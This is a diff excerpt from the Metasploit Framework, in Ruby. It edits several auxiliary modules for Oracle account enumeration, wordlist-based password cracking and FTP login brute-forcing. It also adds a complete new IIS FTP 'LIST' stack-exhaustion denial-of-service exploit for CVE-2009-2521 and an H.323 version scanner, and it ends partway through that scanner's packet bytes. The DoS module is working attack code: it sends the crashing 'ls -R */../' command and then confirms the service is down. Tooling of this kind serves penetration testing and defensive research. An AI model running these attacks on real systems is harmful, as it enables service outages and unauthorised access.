:data => "Account with CREATE LIBRARY Priv #{lp.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
rescue => e
|
||||
|
@ -418,7 +617,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
defpwd = prepare_exec(query)
|
||||
defpwd.each do |dp|
|
||||
print_status("\tThe account #{dp.chomp} has a default password.")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account with Default Password #{dp.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account with Default Password #{dp.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
else
|
||||
|
@ -445,11 +652,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account with Default Password #{accrcrd[0]} is #{accrcrd[1]}",
|
||||
:update => :unique_data)
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
unless myloots.nil? or myloots.empty?
|
||||
myloots.each do |myloot|
|
||||
begin
|
||||
usf = File.open(myloot.path)
|
||||
usf = File.open(myloot.path, "rb")
|
||||
rescue Exception => e
|
||||
print_error("Unable to read #{myloot.path} \n #{e}")
|
||||
end
|
||||
|
@ -157,7 +157,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
john_cracked_passwords.values {|v| seed << v }
|
||||
|
||||
#Grab the default John Wordlist
|
||||
john = File.open(john_wordlist_path, "r")
|
||||
john = File.open(john_wordlist_path, "rb")
|
||||
john.each_line{|line| seed << line.chomp}
|
||||
|
||||
unless seed.empty?
|
||||
|
|
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
john_cracked_passwords.values {|v| seed << v }
|
||||
|
||||
#Grab the default John Wordlist
|
||||
john = File.open(john_wordlist_path, "r")
|
||||
john = File.open(john_wordlist_path, "rb")
|
||||
john.each_line{|line| seed << line.chomp}
|
||||
|
||||
return seed
|
||||
|
|
|
@ -146,7 +146,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
john_cracked_passwords.values {|v| seed << v }
|
||||
|
||||
#Grab the default John Wordlist
|
||||
john = File.open(john_wordlist_path, "r")
|
||||
john = File.open(john_wordlist_path, "rb")
|
||||
john.each_line{|line| seed << line.chomp}
|
||||
|
||||
return seed
|
||||
|
|
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
john_cracked_passwords.values {|v| seed << v }
|
||||
|
||||
#Grab the default John Wordlist
|
||||
john = File.open(john_wordlist_path, "r")
|
||||
john = File.open(john_wordlist_path, "rb")
|
||||
john.each_line{|line| seed << line.chomp}
|
||||
|
||||
return seed
|
||||
|
|
|
@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
john_cracked_passwords.values {|v| seed << v }
|
||||
|
||||
#Grab the default John Wordlist
|
||||
john = File.open(john_wordlist_path, "r")
|
||||
john = File.open(john_wordlist_path, "rb")
|
||||
john.each_line{|line| seed << line.chomp}
|
||||
|
||||
if datastore['Wordlist']
|
||||
wordlist= File.open(datastore['Wordlist'], "r")
|
||||
wordlist= File.open(datastore['Wordlist'], "rb")
|
||||
wordlist.each_line{|line| seed << line.chomp}
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,121 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft IIS FTP Server <= 7.0 LIST Stack Exhaustion',
|
||||
'Description' => %q{
|
||||
This module triggers Denial of Service condition in the Microsoft Internet
|
||||
Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command
|
||||
containing a wildcard. For this exploit to work in most cases, you need 1) a valid
|
||||
ftp account: either read-only or write-access account 2) the "FTP Publishing" must
|
||||
be configured as "manual" mode in startup type 3) there must be at least one
|
||||
directory under FTP root directory. If your provided an FTP account has write-access
|
||||
privilege and there is no single directory, a new directory with random name will be
|
||||
created prior to sending exploit payload.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Kingcope', # Initial discovery
|
||||
'Myo Soe' # Metasploit Module (http://yehg.net)
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-2521'],
|
||||
[ 'BID', '36273'],
|
||||
[ 'OSVDB', '57753'],
|
||||
[ 'MSB', 'MS09-053'],
|
||||
[ 'URL', 'https://www.microsoft.com/technet/security/Bulletin/MS09-053.mspx'],
|
||||
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.html']
|
||||
],
|
||||
'DisclosureDate' => 'Sep 03 2009'))
|
||||
end
|
||||
|
||||
def run
|
||||
#Attempt to crash IIS FTP
|
||||
begin
|
||||
return unless connect_login
|
||||
print_status('Checking if there is at least one directory ...')
|
||||
res = send_cmd_data(['ls'],'')
|
||||
|
||||
if res.to_s =~ /\<DIR\> / then
|
||||
print_status('Directory found, skipped creating a directory')
|
||||
else
|
||||
print_status('No single directory found')
|
||||
print_status('Attempting to create a directory ...')
|
||||
new_dir = Rex::Text.rand_text_alphanumeric(6)
|
||||
res = send_cmd(['mkd',new_dir])
|
||||
if res =~ /directory created/ then
|
||||
print_status("New directory \"#{new_dir}\" was created!")
|
||||
else
|
||||
print_error('Write-access was denied')
|
||||
print_error('Exploit failed')
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Sending DoS packets ...")
|
||||
res = send_cmd_datax(['ls','-R */../'],' ')
|
||||
disconnect
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Cannot connect. The server is not running.")
|
||||
return
|
||||
rescue Rex::ConnectionTimeout
|
||||
print_error("Cannot connect. The connection timed out.")
|
||||
return
|
||||
rescue
|
||||
end
|
||||
|
||||
#More careful way to check DOS
|
||||
print_status("Checking server's status...")
|
||||
begin
|
||||
connect_login
|
||||
disconnect
|
||||
print_error("DOS attempt failed. The service is still running.")
|
||||
rescue
|
||||
print_good("Success! Service is down")
|
||||
end
|
||||
end
|
||||
|
||||
# Workaround: modified send_cmd_data function with short sleep time before data_disconnect call
|
||||
# Bug Tracker: 4868
|
||||
def send_cmd_datax(args, data, mode = 'a', nsock = self.sock)
|
||||
args[0] = "LIST"
|
||||
# Set the transfer mode and connect to the remove server
|
||||
return nil if not data_connect(mode)
|
||||
# Our pending command should have got a connection now.
|
||||
res = send_cmd(args, true, nsock)
|
||||
# make sure could open port
|
||||
return nil unless res =~ /^(150|125) /
|
||||
# dispatch to the proper method
|
||||
begin
|
||||
data = self.datasocket.get_once(-1, ftp_timeout)
|
||||
rescue ::EOFError
|
||||
data = nil
|
||||
end
|
||||
select(nil,nil,nil,1)
|
||||
# close data channel so command channel updates
|
||||
data_disconnect
|
||||
# get status of transfer
|
||||
ret = nil
|
||||
ret = recv_ftp_resp(nsock)
|
||||
ret = [ ret, data ]
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
|
@ -42,7 +42,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(21)
|
||||
Opt::RPORT(21),
|
||||
OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -52,11 +53,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password'
|
||||
@accepts_all_logins = {}
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
print_status("#{ip}:#{rport} - Starting FTP login sweep")
|
||||
if check_banner
|
||||
if datastore['RECORD_GUEST'] == false and check_anonymous == :next_user
|
||||
@accepts_all_logins[@access] ||= []
|
||||
@accepts_all_logins[@access] << ip
|
||||
print_status("Successful authentication with #{@access.to_s} access on #{ip} will not be reported")
|
||||
end
|
||||
each_user_pass { |user, pass|
|
||||
next if user.nil?
|
||||
ret = do_login(user,pass)
|
||||
|
@ -69,11 +77,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Username #{user} is not case sensitive")
|
||||
end
|
||||
end
|
||||
if datastore['RECORD_GUEST']
|
||||
report_ftp_creds(user,pass,@access)
|
||||
else
|
||||
report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip)
|
||||
end
|
||||
end
|
||||
ret
|
||||
}
|
||||
check_anonymous
|
||||
# check_anonymous
|
||||
else
|
||||
return
|
||||
end
|
||||
|
|
|
@ -0,0 +1,576 @@
|
|||
##
|
||||
# $Id: ftp_version.rb 9804 2010-07-13 18:52:27Z todb $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'H.323 Version Scanner',
|
||||
'Version' => '$Revision: 9804 $',
|
||||
'Description' => 'Detect H.323 Version.',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1720),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
remote_display = nil
|
||||
remote_product_id = nil
|
||||
remote_version_id = nil
|
||||
remote_vendor_id = nil
|
||||
remote_protocol = nil
|
||||
|
||||
begin
|
||||
|
||||
# Wrap this in a timeout to prevent dead services from
|
||||
# hanging this thread.
|
||||
Timeout.timeout( call_timeout) do
|
||||
|
||||
connect
|
||||
|
||||
caller_name = "SYSTEM\x00"
|
||||
h323_id = Rex::Text.rand_text_alpha(3)
|
||||
vendor_id = Rex::Text.rand_text_alpha(32)
|
||||
caller_host = Rex::Socket.source_address( ip )
|
||||
caller_port = rand( 32768 ) + 30000
|
||||
callee_host = rhost
|
||||
callee_port = rport
|
||||
conf_guid = Rex::Text.rand_text(16)
|
||||
call_guid = Rex::Text.rand_text(16)
|
||||
|
||||
pkt_setup = h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
|
||||
res = sock.put(pkt_setup) rescue nil
|
||||
if not res
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
cnt = 0
|
||||
while( true )
|
||||
info = read_packet
|
||||
break if not info
|
||||
|
||||
# The remote side of the call disconnected us
|
||||
break if info[:type] == @@H323_STATUS_RELEASE_COMPLETE
|
||||
|
||||
remote_display = info[40].strip if info[40]
|
||||
remote_product_id = info[:product_id].strip if info[:product_id]
|
||||
remote_version_id = info[:version_id].strip if info[:version_id]
|
||||
remote_protocol = info[:protocol_version].strip if info[:protocol_version]
|
||||
|
||||
if info[:vendor_id] and [nil, "Unknown"].include?( remote_vendor_id )
|
||||
remote_vendor_id = info[:vendor_id].strip
|
||||
end
|
||||
|
||||
# Diagnostics
|
||||
# print_status("Host: #{rhost}:#{rport} => #{info.inspect}")
|
||||
|
||||
# The remote side of the call was connected (kill it)
|
||||
break if info[:type] == @@H323_STATUS_CONNECT
|
||||
|
||||
# Exit if we already received 5 packets from the server
|
||||
break if (cnt +=1) > 5
|
||||
|
||||
end
|
||||
|
||||
# Make sure the call was shut down cleanly
|
||||
pkt_release = h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
sock.put(pkt_release) rescue nil
|
||||
|
||||
# End timeout block
|
||||
end
|
||||
|
||||
rescue ::Timeout::Error
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError, ::IOError, ::Errno::ECONNRESET, ::Errno::ENOPROTOOPT
|
||||
rescue ::Exception
|
||||
print_error("#{rhost}:#{rport} #{$!.class} #{$!} #{$!.backtrace}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
if remote_vendor_id
|
||||
remote_product_id = remote_product_id.to_s.gsub(/[^\x20-\x7e]/, '')
|
||||
remote_version_id = remote_version_id.to_s.gsub(/[^\x20-\x7e]/, '')
|
||||
|
||||
banner = "Protocol: #{ remote_protocol } VendorID: #{ remote_vendor_id } "
|
||||
|
||||
if remote_version_id and remote_version_id.length > 0
|
||||
banner << "VersionID: #{ remote_version_id } "
|
||||
end
|
||||
|
||||
if remote_product_id and remote_product_id.length > 0
|
||||
banner << "ProductID: #{ remote_product_id } "
|
||||
end
|
||||
|
||||
if remote_display and remote_display.length > 0
|
||||
remote_display = remote_display.to_s.gsub(/[^\x20-\x7e]/, '')
|
||||
banner << "DisplayName: #{ remote_display }"
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} #{banner}")
|
||||
report_service(:host => rhost, :port => rport, :name => "h323", :info => banner)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def read_packet
|
||||
begin
|
||||
::Timeout.timeout( read_timeout ) do
|
||||
ver = sock.read(2)
|
||||
return if not (ver and ver == "\x03\x00")
|
||||
|
||||
bin = sock.read(2)
|
||||
return if not bin
|
||||
|
||||
len = [ bin.unpack("n")[0] - 4, 0 ].max
|
||||
return if len == 0
|
||||
|
||||
bin = sock.read(len)
|
||||
return if not bin
|
||||
|
||||
f_desc, cref_len = bin.unpack("CC")
|
||||
cref_val = bin[2, cref_len]
|
||||
f_type = bin[2 + cref_len, 1].unpack("C")[0]
|
||||
|
||||
return { :type => f_type, :call_ref => cref_val }.merge( read_ies(f_type, bin[ 2 + cref_len + 1, bin.length] ) )
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def read_ies(mtype, data)
|
||||
r = { }
|
||||
i = 0
|
||||
|
||||
while( i < (data.length - 1) )
|
||||
ie_type = data[i, 1].unpack("C")[0]
|
||||
break if not ie_type
|
||||
|
||||
ie_len = 0
|
||||
ie_data = ""
|
||||
|
||||
case ie_type
|
||||
when @@H225_IE_USER_USER
|
||||
ie_len = data[i+1, 2].unpack("n")[0]
|
||||
break if not ie_len
|
||||
|
||||
ie_data = data[i+3, ie_len]
|
||||
break if not ie_data
|
||||
|
||||
i = i + 3 + ie_len
|
||||
else
|
||||
ie_len = data[i+1, 1].unpack("C")[0]
|
||||
break if not ie_len
|
||||
|
||||
ie_data = data[i+2, ie_len]
|
||||
break if not ie_data
|
||||
|
||||
i = i + 2 + ie_len
|
||||
end
|
||||
|
||||
r[ ie_type ] = ie_data
|
||||
|
||||
if ie_type == @@H225_IE_USER_USER
|
||||
r.merge!( ( read_user_user(mtype, ie_data) rescue {} ) )
|
||||
end
|
||||
end
|
||||
r
|
||||
end
|
||||
|
||||
|
||||
# This provides a weak method of decoding USER-USER PDUs. These are
|
||||
# actually PER-encoded ASN.1, but we take a few shortcuts since PER
|
||||
# encoding is such a pain.
|
||||
def read_user_user(mtype, data)
|
||||
r = {}
|
||||
|
||||
# Identify the embedded version (2/3/4/5/6 commonly found)
|
||||
i = data.index("\x00\x08\x91\x4a\x00")
|
||||
return r if not i
|
||||
|
||||
# Store the protocol version
|
||||
pver = data[i + 5, 1].unpack("C")[0]
|
||||
|
||||
r[:protocol_version] = pver.to_s
|
||||
|
||||
# Bump the index over the version
|
||||
i+= 6
|
||||
|
||||
# print_line( Rex::Text.to_hex_dump( data[i, 32] ) )
|
||||
|
||||
# Set a placeholder VendorID so this system will be reported
|
||||
r[:vendor_id] = "Unknown"
|
||||
|
||||
# We use the version offset to identify the destination block location
|
||||
# This changes slightly based on the type of packet we receive
|
||||
case mtype
|
||||
when @@H323_STATUS_ALERTING, @@H323_STATUS_PROCEEDING
|
||||
|
||||
|
||||
if pver == 2 and data[i, 2] == "\x20\x00"
|
||||
r[ :vendor_id ] = "0x%.8x" % ( data[i + 2, 4].unpack("N")[0] rescue 0 )
|
||||
return r
|
||||
end
|
||||
|
||||
|
||||
# Find the offset to the VendorID
|
||||
if data[i + 1, 1] != "\xc0"
|
||||
i+= 7
|
||||
end
|
||||
|
||||
# Stop processing if we can't identify a VendorID
|
||||
return r if data[i + 1, 1] != "\xc0"
|
||||
|
||||
# Otherwise just add 2 to the offset of the version
|
||||
i += 2
|
||||
|
||||
when @@H323_STATUS_CONNECT
|
||||
|
||||
# Bail early in some corner cases
|
||||
return r if data[i, 1] == "\x00"
|
||||
|
||||
# Find the offset to the VendorID
|
||||
if data[i + 1, 1] != "\xc0"
|
||||
i+= 7
|
||||
end
|
||||
|
||||
# Stop processing if we can't identify a VendorID
|
||||
return r if data[i + 1, 1] != "\xc0"
|
||||
|
||||
i += 2
|
||||
|
||||
return r
|
||||
else
|
||||
return r
|
||||
end
|
||||
|
||||
# Extract the manufacturer ID
|
||||
r[ :vendor_id ] = "0x%.8x" % ( data[i, 4].unpack("N")[0] rescue 0 )
|
||||
i+= 4
|
||||
|
||||
# No Product ID / Version ID in versions less than 3 (unless special cased above)
|
||||
return r if pver < 3
|
||||
|
||||
# Get the product_id length (-1)
|
||||
product_id_length = data[i, 1].unpack("C")[0] + 1
|
||||
i+= 1
|
||||
|
||||
# Extract the product ID
|
||||
r[ :product_id ] = data[i, product_id_length]
|
||||
i+= product_id_length
|
||||
|
||||
# Get the version ID length (-1)
|
||||
version_id_length = data[i, 1].unpack("C")[0] + 1
|
||||
i+= 1
|
||||
|
||||
# Extract the version ID
|
||||
r[ :version_id ] = data[i, version_id_length]
|
||||
|
||||
|
||||
# Thats it for now
|
||||
|
||||
r
|
||||
end
|
||||
|
||||
def read_timeout
|
||||
10
|
||||
end
|
||||
|
||||
def call_timeout
|
||||
30
|
||||
end
|
||||
|
||||
|
||||
@@H225_IE_BEARER_CAP = 0x04
|
||||
@@H225_IE_DISPLAY = 0x28
|
||||
@@H225_IE_USER_USER = 0x7e # Yes, really User-user
|
||||
|
||||
|
||||
@@H323_STATUS_ALERTING = 0x01
|
||||
@@H323_STATUS_PROCEEDING = 0x02
|
||||
@@H323_STATUS_SETUP = 0x05
|
||||
@@H323_STATUS_SETUP_ACK = 0x0D
|
||||
@@H323_STATUS_CONNECT = 0x07
|
||||
@@H323_STATUS_RELEASE_COMPLETE = 0x5a
|
||||
@@H323_STATUS_FACILITY = 0x1c
|
||||
|
||||
|
||||
|
||||
def encap_tpkt(ver,data)
|
||||
[ ver, 0, data.length + 4 ].pack("CCn") + data
|
||||
end
|
||||
|
||||
def encap_q225(desc, cref_value, msg_type, data)
|
||||
[ desc, cref_value.length, cref_value, msg_type].pack("CCA*C") + data
|
||||
end
|
||||
|
||||
def encap_q225_standard(msg_type, data)
|
||||
encap_q225(0x08, [0x733f].pack("n"), msg_type, data)
|
||||
end
|
||||
|
||||
def encap_q225_setup(data)
|
||||
encap_q225_standard(0x05, data)
|
||||
end
|
||||
|
||||
def encap_q225_release(data)
|
||||
encap_q225_standard(0x5a, data)
|
||||
end
|
||||
|
||||
def create_ie_byte(ie_type, data)
|
||||
[ie_type, data.length].pack("CC") + data
|
||||
end
|
||||
|
||||
def create_ie_short(ie_type, data)
|
||||
[ie_type, data.length].pack("Cn") + data
|
||||
end
|
||||
|
||||
def create_ie_bearer_capability(cap = 0x00038893)
|
||||
create_ie_byte( @@H225_IE_BEARER_CAP, [cap].pack("N")[0,3] )
|
||||
end
|
||||
|
||||
def create_ie_display(name = "DEBUG\x00")
|
||||
create_ie_byte( @@H225_IE_DISPLAY, name )
|
||||
end
|
||||
|
||||
def create_ie_user_user(data)
|
||||
create_ie_short( @@H225_IE_USER_USER, data )
|
||||
end
|
||||
|
||||
#
|
||||
# This is ugly. Doing it properly requires a PER capable ASN.1 encoder, which is overkill for this task
|
||||
#
|
||||
def create_user_info(h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
buff = "\x05" # Protocol descriminator: X.208/X.209 coded user information
|
||||
|
||||
buff << "\x20\xa8\x06\x00\x08\x91\x4a\x00\x06\x01\x40\x02"
|
||||
|
||||
# H323-ID
|
||||
buff << h323_id.unpack("C*").pack("n*")
|
||||
|
||||
buff << "\x22\xc0\x09\x00\x00\x3d\x02\x00\x00\x00\x21"
|
||||
|
||||
# VENDOR: 32 + 2 null bytes
|
||||
buff << [vendor_id].pack("Z32") + "\x00\x00"
|
||||
|
||||
buff << "\x00"
|
||||
|
||||
# Remote IP + Remote Port
|
||||
buff << ( ::Rex::Socket.addr_aton( callee_host ) + [ callee_port.to_i ].pack("n") )
|
||||
|
||||
buff << "\x00"
|
||||
|
||||
# Conference GUID
|
||||
buff << conf_guid
|
||||
|
||||
buff << "\x00\xc5\x1d\x80\x04\x07\x00"
|
||||
|
||||
# Local IP + Port
|
||||
buff << ( ::Rex::Socket.addr_aton( caller_host ) + [ caller_port.to_i ].pack("n") )
|
||||
|
||||
buff << "\x11\x00"
|
||||
|
||||
# Call GUID
|
||||
buff << call_guid
|
||||
|
||||
buff <<
|
||||
"\x82\x49\x10\x47\x40\x00\x00\x06\x04\x01\x00\x4c\x10\xb5" +
|
||||
"\x00\x00\x26\x25\x73\x70\x65\x65\x78\x20\x73\x72\x3d\x31" +
|
||||
"\x36\x30\x30\x30\x3b\x6d\x6f\x64\x65\x3d\x36\x3b\x76\x62" +
|
||||
"\x72\x3d\x6f\x66\x66\x3b\x63\x6e\x67\x3d\x6f\x66\x66\x80" +
|
||||
"\x12\x1c\x40\x01\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc6\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\x90\x3c\x00\x00\x64\x0c\x10\xb5\x00\x00\x26\x25" +
|
||||
"\x73\x70\x65\x65\x78\x20\x73\x72\x3d\x31\x36\x30\x30\x30" +
|
||||
"\x3b\x6d\x6f\x64\x65\x3d\x36\x3b\x76\x62\x72\x3d\x6f\x66" +
|
||||
"\x66\x3b\x63\x6e\x67\x3d\x6f\x66\x66\x80\x0b\x0d\x40\x01" +
|
||||
"\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\x48\x31\x40\x00\x00\x06\x04\x01\x00\x4c\x10\x09" +
|
||||
"\x00\x00\x3d\x0f\x53\x70\x65\x65\x78\x20\x62\x73\x34\x20" +
|
||||
"\x57\x69\x64\x65\x36\x80\x12\x1c\x40\x01\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc6\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\xa0\x26\x00\x00\x65\x0c\x10\x09\x00\x00\x3d\x0f" +
|
||||
"\x53\x70\x65\x65\x78\x20\x62\x73\x34\x20\x57\x69\x64\x65" +
|
||||
"\x36\x80\x0b\x0d\x40\x01\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\x50\x1d\x40\x00\x00\x06\x04\x01\x00\x4c\x60\x13" +
|
||||
"\x80\x11\x1c\x00\x01\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc6\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\x13\x00\x00\x66\x0c\x60\x13\x80\x0b\x0d\x00\x01" +
|
||||
"\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\x00\x1d\x40\x00\x00\x06\x04\x01\x00\x4c\x20\x13" +
|
||||
"\x80\x11\x1c\x00\x01\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc6\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\x13\x00\x00\x67\x0c\x20\x13\x80\x0b\x0d\x00\x01" +
|
||||
"\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc7\x00\x23\x40\x00\x00\x06\x04\x01\x00\x48\x78\x00" +
|
||||
"\x4a\xff\x00\x80\x01\x00\x80\x11\x1c\x00\x02\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc8\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x19\x00\x00\x68\x08\x78\x00\x4a\xff\x00\x80\x01" +
|
||||
"\x00\x80\x0b\x0d\x00\x02\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x00\x22\x40\x00\x00\x06\x04\x01\x00\x48\x68\x4a" +
|
||||
"\xff\x00\x80\x01\x00\x80\x11\x1c\x00\x02\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc8\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x18\x00\x00\x69\x08\x68\x4a\xff\x00\x80\x01\x00" +
|
||||
"\x80\x0b\x0d\x00\x02\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x00\x22\x40\x00\x00\x06\x04\x01\x00\x48\x70\x4a" +
|
||||
"\xff\x00\x80\x01\x00\x80\x11\x1c\x00\x02\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc8\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x18\x00\x00\x6a\x08\x70\x4a\xff\x00\x80\x01\x00" +
|
||||
"\x80\x0b\x0d\x00\x02\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x00\x2c\x40\x00\x00\x06\x04\x01\x00\x48\xee\x00" +
|
||||
"\x00\x20\x9f\xff\x20\x50\x40\x01\x00\x80\x17\x1c\x20\x02" +
|
||||
"\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc8\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x80\x04\x48\x08\x8d\x44\x22\x00\x00\x6b\x08\xee" +
|
||||
"\x00\x00\x20\x9f\xff\x20\x50\x40\x01\x00\x80\x11\x0d\x20" +
|
||||
"\x02\x00" +
|
||||
|
||||
Rex::Socket.addr_aton( caller_host ) +
|
||||
|
||||
"\x13\xc9\x40\x00\x04\x48\x08\x8d\x44\x01\x00\x01\x00\x01" +
|
||||
"\x00\x01\x00\x80\xfa\x02\x80\xef\x02\x70\x01\x06\x00\x08" +
|
||||
"\x81\x75\x00\x0d\x80\x1a\x80\x01\xf4\x00\x01\x00\x00\x01" +
|
||||
"\x00\x00\x01\x00\x04\x02\x05\x00\x48\x08\x8d\x44\x06\x60" +
|
||||
"\x01\x00\x01\x80\x0b\x80\x00\x00\x20\x20\xb5\x00\x00\x26" +
|
||||
"\x25\x73\x70\x65\x65\x78\x20\x73\x72\x3d\x31\x36\x30\x30" +
|
||||
"\x30\x3b\x6d\x6f\x64\x65\x3d\x36\x3b\x76\x62\x72\x3d\x6f" +
|
||||
"\x66\x66\x3b\x63\x6e\x67\x3d\x6f\x66\x66\x80\x00\x01\x20" +
|
||||
"\x20\x09\x00\x00\x3d\x0f\x53\x70\x65\x65\x78\x20\x62\x73" +
|
||||
"\x34\x20\x57\x69\x64\x65\x36\x80\x00\x02\x20\xc0\xef\x80" +
|
||||
"\x00\x03\x20\x40\xef\x80\x00\x04\x08\xf0\x00\x4a\xff\x00" +
|
||||
"\x80\x01\x00\x80\x00\x05\x08\xd0\x4a\xff\x00\x80\x01\x00" +
|
||||
"\x80\x00\x06\x08\xe0\x4a\xff\x00\x80\x01\x00\x80\x00\x07" +
|
||||
"\x09\xdc\x00\x00\x40\x9f\xff\x20\x50\x40\x01\x00\x80\x00" +
|
||||
"\x08\x83\x01\x50\x80\x00\x09\x83\x01\x10\x80\x00\x0a\x83" +
|
||||
"\x01\x40\x80\x00\x0b\x8a\x0c\x14\x0a\x30\x2d\x31\x36\x2c" +
|
||||
"\x33\x32\x2c\x33\x36\x00\x80\x01\x03\x03\x00\x00\x00\x01" +
|
||||
"\x00\x02\x00\x03\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00" +
|
||||
